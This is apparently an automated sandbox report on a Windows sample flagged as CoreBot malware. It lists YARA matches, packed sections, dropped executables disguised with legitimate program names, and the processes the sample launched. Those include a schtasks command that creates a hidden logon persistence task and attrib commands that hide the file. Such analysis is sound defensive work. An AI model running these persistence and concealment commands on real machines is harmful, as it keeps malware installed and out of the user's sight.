Windows Analysis Report
DQmU06kq9I.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 9.2.DQmU06kq9I.exe.8ba0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 0.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 9.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 9.2.DQmU06kq9I.exe.8740000.2.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 0.2.DQmU06kq9I.exe.9060000.3.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 0.2.DQmU06kq9I.exe.8c00000.2.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 9.2.DQmU06kq9I.exe.82e0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 8.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 0.2.DQmU06kq9I.exe.87a0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen

PE file contains section with special chars

Source: DQmU06kq9I.exe	Static PE information: section name:
Source: DQmU06kq9I.exe	Static PE information: section name: .idata
Source: DQmU06kq9I.exe	Static PE information: section name:
Source: windows multimedia platform.exe.0.dr	Static PE information: section name:
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: .idata
Source: windows multimedia platform.exe.0.dr	Static PE information: section name:
Source: windows nt.exe.0.dr	Static PE information: section name:
Source: windows nt.exe.0.dr	Static PE information: section name: .idata
Source: windows nt.exe.0.dr	Static PE information: section name:
Source: windows photo viewer.exe.0.dr	Static PE information: section name:
Source: windows photo viewer.exe.0.dr	Static PE information: section name: .idata
Source: windows photo viewer.exe.0.dr	Static PE information: section name:
Source: windows portable devices.exe.0.dr	Static PE information: section name:
Source: windows portable devices.exe.0.dr	Static PE information: section name: .idata
Source: windows portable devices.exe.0.dr	Static PE information: section name:
Source: windows sidebar.exe.0.dr	Static PE information: section name:
Source: windows sidebar.exe.0.dr	Static PE information: section name: .idata
Source: windows sidebar.exe.0.dr	Static PE information: section name:
Source: autoit3.exe.0.dr	Static PE information: section name:
Source: autoit3.exe.0.dr	Static PE information: section name: .idata
Source: autoit3.exe.0.dr	Static PE information: section name:
Source: windowspowershell.exe.0.dr	Static PE information: section name:
Source: windowspowershell.exe.0.dr	Static PE information: section name: .idata
Source: windowspowershell.exe.0.dr	Static PE information: section name:
Source: common files.exe.0.dr	Static PE information: section name:
Source: common files.exe.0.dr	Static PE information: section name: .idata
Source: common files.exe.0.dr	Static PE information: section name:
Source: google.exe.0.dr	Static PE information: section name:
Source: google.exe.0.dr	Static PE information: section name: .idata
Source: google.exe.0.dr	Static PE information: section name:
Source: internet explorer.exe.0.dr	Static PE information: section name:
Source: internet explorer.exe.0.dr	Static PE information: section name: .idata
Source: internet explorer.exe.0.dr	Static PE information: section name:
Source: java.exe.0.dr	Static PE information: section name:
Source: java.exe.0.dr	Static PE information: section name: .idata
Source: java.exe.0.dr	Static PE information: section name:
Source: jdownloader.exe.0.dr	Static PE information: section name:
Source: jdownloader.exe.0.dr	Static PE information: section name: .idata
Source: jdownloader.exe.0.dr	Static PE information: section name:
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name:
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: .idata
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name:
Source: microsoft.exe.0.dr	Static PE information: section name:
Source: microsoft.exe.0.dr	Static PE information: section name: .idata
Source: microsoft.exe.0.dr	Static PE information: section name:
Source: microsoft office.exe.0.dr	Static PE information: section name:
Source: microsoft office.exe.0.dr	Static PE information: section name: .idata
Source: microsoft office.exe.0.dr	Static PE information: section name:
Source: microsoft.net.exe.0.dr	Static PE information: section name:
Source: microsoft.net.exe.0.dr	Static PE information: section name: .idata
Source: microsoft.net.exe.0.dr	Static PE information: section name:
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name:
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: .idata
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name:
Source: msbuild.exe.0.dr	Static PE information: section name:
Source: msbuild.exe.0.dr	Static PE information: section name: .idata
Source: msbuild.exe.0.dr	Static PE information: section name:
Source: msecache.exe.0.dr	Static PE information: section name:
Source: msecache.exe.0.dr	Static PE information: section name: .idata
Source: msecache.exe.0.dr	Static PE information: section name:
Source: reference assemblies.exe.0.dr	Static PE information: section name:
Source: reference assemblies.exe.0.dr	Static PE information: section name: .idata
Source: reference assemblies.exe.0.dr	Static PE information: section name:
Source: windows defender.exe.0.dr	Static PE information: section name:
Source: windows defender.exe.0.dr	Static PE information: section name: .idata
Source: windows defender.exe.0.dr	Static PE information: section name:
Source: windows mail.exe.0.dr	Static PE information: section name:
Source: windows mail.exe.0.dr	Static PE information: section name: .idata
Source: windows mail.exe.0.dr	Static PE information: section name:
Source: windows media player.exe.0.dr	Static PE information: section name:
Source: windows media player.exe.0.dr	Static PE information: section name: .idata
Source: windows media player.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_04F41550	0_2_04F41550
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_04F4316F	0_2_04F4316F
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_04F4EC78	0_2_04F4EC78
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_04F41541	0_2_04F41541
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_04F41F68	0_2_04F41F68
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07C32153	0_2_07C32153
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DC87E8	0_2_07DC87E8
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DCD618	0_2_07DCD618
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DC7598	0_2_07DC7598
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DCE998	0_2_07DCE998
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DC16A0	0_2_07DC16A0
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DC1E78	0_2_07DC1E78
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DC1E68	0_2_07DC1E68
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07DCDB68	0_2_07DCDB68
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 8_2_04E61490	8_2_04E61490
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 8_2_04E66828	8_2_04E66828
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 8_2_04E654A8	8_2_04E654A8
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 8_2_04E61480	8_2_04E61480
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 8_2_04E659F8	8_2_04E659F8
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_04D61550	9_2_04D61550
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_04D62FA8	9_2_04D62FA8
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_04D6EAB8	9_2_04D6EAB8
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_04D6153F	9_2_04D6153F

Source: Joe Sandbox View	Dropped File: C:\Users\user\OneDrive\autoit3.exe 375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
Source: Joe Sandbox View	Dropped File: C:\Users\user\OneDrive\common files.exe 375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D

Source: DQmU06kq9I.exe, 00000000.00000002.4541111737.000000000055E000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000000.00000002.4552402541.0000000008C02000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000000.00000000.2032501274.000000000055E000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000008.00000002.4541443989.000000000055E000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000009.00000002.4552478393.0000000008BA2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000009.00000002.4542857867.000000000101B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000009.00000000.2752384736.000000000055E000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe, 00000009.00000002.4541276467.000000000055E000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe
Source: DQmU06kq9I.exe	Binary or memory string: OriginalFilenameAnubis.exe> vs DQmU06kq9I.exe

Source: DQmU06kq9I.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 9.2.DQmU06kq9I.exe.8ba0000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 0.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 9.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 9.2.DQmU06kq9I.exe.8740000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 0.2.DQmU06kq9I.exe.9060000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 0.2.DQmU06kq9I.exe.8c00000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 9.2.DQmU06kq9I.exe.82e0000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 8.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 0.2.DQmU06kq9I.exe.87a0000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212

Source: DQmU06kq9I.exe	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: DQmU06kq9I.exe	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows multimedia platform.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows multimedia platform.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows nt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows nt.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows photo viewer.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows photo viewer.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows portable devices.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows portable devices.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows sidebar.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows sidebar.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: autoit3.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: autoit3.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windowspowershell.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windowspowershell.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: common files.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: common files.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: google.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: google.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: internet explorer.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: internet explorer.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: java.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: java.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: jdownloader.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: jdownloader.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: microsoft.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: microsoft.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: microsoft office.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: microsoft office.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: microsoft.net.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: microsoft.net.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: mozilla maintenance service.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: mozilla maintenance service.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: msbuild.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: msbuild.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: msecache.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: msecache.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: reference assemblies.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: reference assemblies.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows defender.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows defender.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows mail.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows mail.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: windows media player.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: windows media player.exe.0.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@53/47@0/1

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DQmU06kq9I.lnk

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1600:120:WilError_03
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: DQmU06kq9I.exe	ReversingLabs: Detection: 60%
Source: DQmU06kq9I.exe	Virustotal: Detection: 34%

Source: DQmU06kq9I.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: DQmU06kq9I.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DQmU06kq9I.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: DQmU06kq9I.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DQmU06kq9I.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: DQmU06kq9I.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

File read: C:\Users\user\Desktop\DQmU06kq9I.exe

Source: unknown	Process created: C:\Users\user\Desktop\DQmU06kq9I.exe "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc onlogon /tn "DQmU06kq9I" /tr "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\DQmU06kq9I.exe C:\Users\user\Desktop\DQmU06kq9I.exe
Source: unknown	Process created: C:\Users\user\Desktop\DQmU06kq9I.exe "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc onlogon /tn "DQmU06kq9I" /tr "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
